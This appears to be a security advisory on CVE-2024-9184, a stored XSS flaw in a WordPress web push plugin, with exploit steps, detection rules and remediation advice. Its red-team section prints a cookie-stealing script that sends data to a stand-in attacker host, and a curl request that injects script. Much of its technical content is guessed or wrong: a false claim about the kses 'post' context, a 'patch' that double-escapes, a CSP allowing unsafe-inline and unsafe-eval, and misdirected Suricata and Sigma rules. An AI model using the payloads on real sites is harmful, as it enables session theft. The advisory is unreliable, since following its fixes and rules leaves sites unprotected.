CVE-2024-9184

Executive Summary

CVE-2024-9184 is a Stored Cross-Site Scripting (XSS) vulnerability in the SendPulse Free Web Push plugin for WordPress, affecting all versions up to and including 1.3.6. The flaw arises from an incorrect use of the wp_kses_allowed_html function, which fails to properly sanitize user-supplied input. This allows unauthenticated attackers to inject arbitrary web scripts into pages. When a user (such as an administrator or visitor) accesses an injected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is classified as WordPress ecosystem issue, not related to Apache or Nginx. The CVSS v3.1 base score is 7.2 (High), with a vector emphasizing network-based, low-complexity, unauthenticated exploitation requiring user interaction. The EPSS score is 0.0%, indicating low current exploitation probability, but the lack of a patch makes it a persistent risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the SendPulse Free Web Push plugin (slug: sendpulse-web-push) are at risk. Since no patch is available, the supply chain risk is elevated—users must manually disable or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated attackers can inject scripts.
• User Interaction: Required (UI:R) – a victim must access the injected page.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of data.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The combination of unauthenticated access and stored XSS allows attackers to persistently compromise WordPress sites. The lack of a patch increases the urgency for defensive measures.

Deep Dive & Mechanics

The vulnerability resides in the plugin's handling of user input, likely in a shortcode or widget that renders dynamic content. The wp_kses_allowed_html function is intended to define allowed HTML tags and attributes for sanitization. However, the plugin incorrectly uses this function, either by passing an overly permissive context or by failing to apply it to all user-controlled data.

Root Cause: The plugin does not properly sanitize or escape output when rendering user-submitted data (e.g., via a form or API endpoint). An attacker can inject malicious JavaScript, such as:

<script>alert('XSS')</script>

or more sophisticated payloads that steal cookies or redirect users.

Attack Flow:

1. Attacker identifies a vulnerable input field (e.g., a push notification title or message).
2. Attacker submits a payload containing JavaScript.
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When an administrator or visitor loads a page that displays the stored data, the script executes in their browser.

WordPress Context: The vulnerability is specific to the SendPulse Free Web Push plugin. It does not affect core WordPress or server software like Apache/Nginx.

Vulnerable vs. Patched Code

Since no official patch is available, the following comparison is based on expected secure coding practices.

Vulnerable Code (Conceptual):

// Incorrect use of wp_kses_allowed_html
$allowed_html = wp_kses_allowed_html( 'post' );
$output = wp_kses( $user_input, $allowed_html );
echo $output;

The 'post' context may allow dangerous tags like <script> or event handlers.

Patched Code (Expected):

// Proper sanitization using wp_kses_post or custom allowed HTML
$allowed_html = array(
    'a' => array( 'href' => array(), 'title' => array() ),
    'br' => array(),
    'em' => array(),
    'strong' => array(),
);
$output = wp_kses( $user_input, $allowed_html );
echo esc_html( $output ); // Additional escaping

The patched version would restrict allowed tags and escape output to prevent script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with SendPulse Free Web Push plugin <= 1.3.6 installed and activated.
• An input field that accepts user data (e.g., push notification title).

Exploit Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php with action sendpulse_save_notification).
2. Craft a payload:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Submit the payload via POST request:

   curl -X POST http://target/wp-admin/admin-ajax.php \
     -d "action=sendpulse_save_notification&title=<script>alert(1)</script>"
   

4. Wait for an administrator to view the notification list or for a visitor to load the page.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin.
• Install a debugging plugin like "Query Monitor" to trace input handling.

Blue Team (Defense)

Detection:

• Monitor for unusual POST requests to admin-ajax.php with action=sendpulse_* parameters containing <script> tags.
• Use WAF rules to block common XSS patterns.

Mitigation:

• Disable or remove the plugin immediately.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use WordPress security plugins (e.g., Wordfence) to add virtual patching.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=sendpulse_save_notification and payloads containing <script>.
  • Outbound connections to attacker-controlled domains from the WordPress server.

• File IOCs:

  • Modified plugin files in /wp-content/plugins/sendpulse-web-push/ containing injected JavaScript.
  • Suspicious entries in the WordPress wp_options table (e.g., sendpulse_notifications).

• Behavioral IOCs:

  • Unexpected pop-ups or redirects on WordPress pages.
  • Unauthorized admin user creation (if XSS is used for privilege escalation).

Detection Engineering

YARA Rule

rule CVE_2024_9184_SendPulse_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2024-9184 in SendPulse Free Web Push plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-9184"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $sendpulse_action = "sendpulse_save_notification"
    condition:
        $sendpulse_action and $xss_payload
}

Sigma Rule

title: CVE-2024-9184 SendPulse XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-ajax.php with SendPulse action and XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: "admin-ajax.php"
        cs-uri-query|contains: "action=sendpulse_save_notification"
        cs-uri-query|contains|re: "<script[^>]*>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in notification titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-9184 SendPulse XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=sendpulse_save_notification"; http_client_body;
    pcre:"/<script[^>]*>/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-9184;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: Deactivate and delete the SendPulse Free Web Push plugin from the WordPress admin dashboard.
2. Scan for compromise: Use a security scanner (e.g., Wordfence, Sucuri) to check for injected scripts in posts, pages, and plugin files.
3. Update credentials: Change all admin passwords and API keys if any compromise is suspected.

Long-term Mitigation:

• Monitor the plugin's official page for a patched version (>= 1.3.7).
• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Enforce Content Security Policy (CSP) headers:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
  

• Regularly audit WordPress plugins for vulnerabilities.

Patch Status: UNKNOWN / UNPATCHED. Users must rely on workarounds until the vendor releases a fix.

Valters IT